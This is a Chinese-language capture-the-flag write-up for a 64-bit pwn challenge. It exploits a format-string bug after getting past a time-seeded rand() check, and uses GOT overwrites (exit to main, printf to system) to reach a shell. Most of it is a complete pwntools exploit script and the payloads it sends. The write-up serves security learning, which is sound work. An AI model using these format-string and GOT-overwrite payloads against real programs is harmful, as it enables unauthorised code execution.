程序分析
可以看到程序为64位程序
开启了Canary和NX
未开启PIE(难度降低)
逆向分析
首当其冲的main函数,直接就可以发现存在字符串格式化漏洞;
在观察我们可以发现,我们此处只能利用一次字符串格式化漏洞;
所以我们需要想办法进行多次利用才能够实现getshell的目的;(经典 比赛想不到,赛后马后炮)
我们在进入CheckIn()函数中观察一下
我们可以发现这里是一个guessnum的结构
就是要我们猜数字,只有输入的数值正确才能进入下一轮的字符串格式化漏洞的利用;
这里涉及到一个知识点:
srand是一个伪随机函数,当种子相同时,产生的随机数序列是相同的。所以我们可以通过相同的种子来绕过这个CheckIn()函数
生成随机数代码,通过ctypes包下的cdll来加载libc,这样才能执行libc下的函数
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
dll.srand(dll.time(0))
rand = dll.rand()%5 + 48
p.sendlineafter(b"enter:", chr(rand))
log.success(f'rand num: {rand}')
分析过程
偏移计算
最简单的偏移观察,我们通过下面的输入来观察
payload = b'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
观察aaaa出现在那个位置
根据输出我们可以发现输入值的位置与存储的位置偏移量为8
地址泄露
输出对应puts函数的地址
puts_got的地址可以直接从IDA中寻找,也可以利用.got[‘puts’]方法
payload = b'AAAAAAAA' + b'%10$saaa' + p64(puts_got)
即可将puts函数的真实地址泄露出来,即可获得对应的libc版本和基址,方便我们后面的操作;
漏洞利用
突破CheckIn()函数
之前已经说过了,通过相同的种子即可突破CheckIn()函数
根据地址泄露即可知道远程的libc版本,只要利用对应的libc版本即可
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
dll.srand(dll.time(0))
rand = dll.rand()%5 + 48
p.sendlineafter(b"enter:", chr(rand))
log.success(f'rand num: {rand}')
突破printf单次利用
这里我们要实现的就是将exit函数的got表修改为main函数
使最后执行的指令不是exit,而是main,即成功实现多次利用。
payload = fmtstr.fmtstr_payload(8, {exit_got: main_addr}, numbwritten=0, write_size='byte')
p.sendlineafter(b'ylogan: ', payload)
当然也可以选择手动构造payload去修改,但是我发现exit_got表存储的值有点奇怪。
可能需要修改8个字节的数据,太麻烦了!咱们直接调包吧!(当然也非常建议去了解一下内部原理,请参考 printf手动修改got表)
完成这步以后,剩下的就相当容易了。
根据地址泄露我们已经能确定对应的libc版本,加载对应的libc,即可获得libc的基址
然后就可以获得system函数的加载地址
然后修改printf的got表为system函数的地址
最后通过程序中原本就有的read函数输入参数 /bin/sh
即可完成getshell。
exp
from pwn import *
from LibcSearcher import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = remote('43.139.145.52', 9001)
p = process('./pwn1')
elf = ELF('./pwn1')
puts_got = elf.got['puts']
exit_got = elf.got['exit']
printf_got = elf.got['printf']
log.success(f'printf_got: {hex(printf_got)}')
log.success(f'puts_got: {hex(puts_got)}')
log.success(f'exit_got: {hex(exit_got)}')
# srand是伪随机函数,当输入的种子相同时,产生的随机数序列是一致的
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def sendrand():
dll.srand(dll.time(0))
rand = dll.rand()%5 + 48
p.sendlineafter(b'enter:', chr(rand).encode())
log.success(f'rand num: {rand}')
# # 根据字符串格式化漏洞算出偏移为8
# payload = b'aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
# payload = b''
# payload += b'%' + str(cnt) + b'c%8$hhn'
# payload += p64(exit_got+2)
# get the addr from ida
main_addr = 0x400906
sendrand()
# change the exit_got to main_addr
payload = fmtstr.fmtstr_payload(8, {exit_got: main_addr}, numbwritten=0, write_size='byte')
p.sendlineafter(b'ylogan: ', payload)
sendrand()
payload = b'aaaa%9$s' + p64(puts_got)
p.sendlineafter(b'ylogan: ', payload)
p.recvuntil(b'aaaa')
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
log.success(f'puts_addr: {hex(puts_addr)}')
libc_base = puts_addr - libc.symbols['puts']
log.success(f'libc_base: {hex(libc_base)}')
system_addr = libc_base + libc.symbols['system']
log.success(f'system_addr: {hex(system_addr)}')
sendrand()
payload = fmtstr.fmtstr_payload(8, {printf_got:system_addr}, numbwritten=0, write_size='byte')
p.sendlineafter(b'ylogan: ', payload)
sendrand()
p.sendlineafter(b'ylogan: ', b'/bin/sh')
p.interactive()
fmtstr_payload()函数使用
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数offset表示格式化字符串的偏移;
第二个参数writes表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数numbwritten表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数write_size表示写入方式,是按字节(byte)、按双字节(short)还是按四字(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
printf手动修改got表
64位格式化字符串漏洞修改got表利用详解-安全客 - 安全资讯平台 (anquanke.com)
想要学习手动修改got表可以参看该篇博客,可以说写得相当详细!!!